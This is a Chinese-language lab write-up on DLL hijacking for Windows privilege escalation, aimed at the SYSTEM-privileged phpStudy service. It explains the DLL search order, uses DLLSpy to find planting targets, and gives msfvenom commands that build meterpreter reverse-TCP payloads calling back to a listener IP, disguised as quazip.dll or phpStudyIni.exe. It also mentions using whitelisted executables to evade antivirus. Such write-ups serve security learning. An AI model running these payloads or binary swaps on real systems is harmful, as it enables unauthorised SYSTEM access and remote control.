0x00 前言
前段时间在研究着windows底层的一些东西,发现这个dll劫持一直没有做过,根据倾旋师傅的视频和文章做了一系列的研究,然后就突发来了兴致研究一些dll劫持提权。
0x01 了解dll
动态链接库英文为DLL,是Dynamic Link Library的缩写。DLL是一个包含可由多个程序,同时使用的代码和数据的库。
例如,在 Windows 操作系统中,Comdlg32.dll 执行与对话框有关的常见函数。
因此,每个程序都可以使用该 DLL 中包含的功能来实现“打开”对话框。这有助于避免代码重用和促进内存的有效使用。
通过使用 DLL,程序可以实现模块化,由相对独立的组件组成。例如,一个计帐程序可以按模块来销售。
可以在运行时将各个模块加载到主程序中(如果安装了相应模块)。
因为模块是彼此独立的,所以程序的加载速度更快,而且模块只在相应的功能被请求时才加载。
简单点来说就是exe的一些功能被分离出来,分离到dll文件里面,使用到的时候直接调用dll文件,windows大部分需要调用的api都写入到了dll文件当中。
0x02 dll的加载
windows会根据程序对应的目录来加载依次是该应用的程序目录>>system32目录>> windows目录>>加载dll的当前所在目录>>PATH 变量环境目录
0x03 dll劫持原理
dll劫持的原理其实就是在程序执行前把他原本的dll文件替换成我们恶意的dll文件,使程序加载我们的dll文件,这时候如果该程序是以system权限来运行的话,那么我们就可以直接拿到一个system权限的sessions。在我们的一些免杀文章中也会看到我们经常会用到白加黑让一个白名单的exe去加载一个恶意的dll文件,这时候就实现了免杀的效果。
这时候我们要考虑的几个点是我们该应该替换哪些dll文件,有什么限制,怎么去替换。
这里先来讲到替换这方面,其他的后面都讲到。
方法1:如果说我们在真实环境下,直接替换dll文件,那么可能可以直接提权成功,但是他的程序会产生错误 无法正常运行。
方法2:恶意dll文件替换在本地目录,正常dll文件放在他的下一个加载目录下,也就是system32目录,这时候我们要做的是把恶意dll加载完成后再去加载下一个加载目录找到我们正常的dll文件,进行加载。这样的话,他的功能就正常的被运行,但是由于我是菜鸡,不会写那个东西,想法不成立。
方法3:直接把正常dll文件和恶意dll文件捆绑在一起,msf貌似能实现。
(目前思路就这么多,待补充)
0x04 dll劫持的限制
dll劫持的话,要考虑的几个点:
如果说一个第三方exe程序,调用的全是windows自带的dll文件,那么我们如果想去替换windows的dll文件的话肯定是不成立的,首先考虑到我们现在要做的是提权,那么权限肯定比较低,替换不了。
直接替换windows自带dll的话肯定会导致系统出现问题。
如果说要替换的话那么肯定要有读写权限 否则我们的恶意dll无法写入。
总结:需要dll劫持需要该程序加载到当前程序目录的dll文件,并且该文件目录有读写权限。
0x04 dll劫持实现
我们现在已经分析完了一波,现在就开始操作。
首先要寻找一个高权限运行、加载程序目录dll文件并且有读取权限的程序。
我们要查找哪些 程序以system权限在运行
tasklist /v
因为是靶机环境,没有安装太多的程序,第三方的服务只有phpstudy是system权限。
这时候我们需要一个查看dll文件加载工具,前面寻找到一个process monitor的工具发现是图形化的不利于渗透。
后来找了个DLLSpy.exe 命令行工具来分析dll的加载。
github地址:
https://github.com/cyberark/DLLSpy
命令参数
-d: 必须扫描加载的模块。 -o: 指定输出文件。 -s: 静态扫描,在二进制文件中查找丢失的dll和dll -r<number>:递归扫描,“number”是递归的深度。
我们来用蚁剑上传到我们的靶机上面。
输入命令
DLLSpy.exe -d
这时候就会查找我们所有程序加载的dll文件。命令执行完后会生成一个csv的表格文件来下载到本地打开分析一下哪些程序会加载目录下的dll文件。
这里可以看到
phpstudy加载的全是程序目录的dll文件,现在目录所在的地址也爆出来了,省了找程序目录的麻烦。
这里我提取了个quazip.dll 出来,然后启动msf进行生成。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.31.110 LPORT=1734 -f dll -x quazip.dll > 1.dll
生成后发现报错,显示 "错误:无效的PE EXE subst模板:缺少“PAYLOAD:”标记" 。dll不能指定模板生成。如果不能的话我们想要捆绑还得了解底层自己构造。果断放弃。在后来和团队小伙伴讨论下,如果想实现可以直接通过dll注入来实现。
方法4:突发奇想的一个思路,如果说dll无法捆绑的话,exe肯定可以捆绑,我们可以利用主程序调用的exe程序来启动我们的捆绑的exe程序,那么他一样以system权限启动。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.31.110 LPORT=1734 -f exe -x phpStudyIni.exe> 1.exe
生成后直接用重命名的方式发原来的exe重命名 然后把我捆绑的exe命名为phpStudyIni.exe 然后点击退出程序,启动监听,重新运行。
点击后运行失败,无法回连,通过与团队小伙伴的讨论,发现我的思路有误区。
首先 第一直接替换dll文件程序肯定无法正常执行,虽然说能直接提权成功。第二个如果安装刚刚的思路来捆绑肯定是不行的,需要使用到dll注入把恶意代码注入到原来的dll文件里面,这个可以使用msf的模块或者是
Remote DLL Injector工具进行注入,这样就可以完成一个dll劫持了。
下篇文章给再更新具体的实现方式。
0x04 尾声
渗透在于折腾,要敢于多做尝试,梦想还是要有的,哪怕不是用来实现的。在这里再次感谢团队小伙伴对我这个菜鸡各种无脑问题进行解答。如果师傅们有更好的思路可以和我多交流。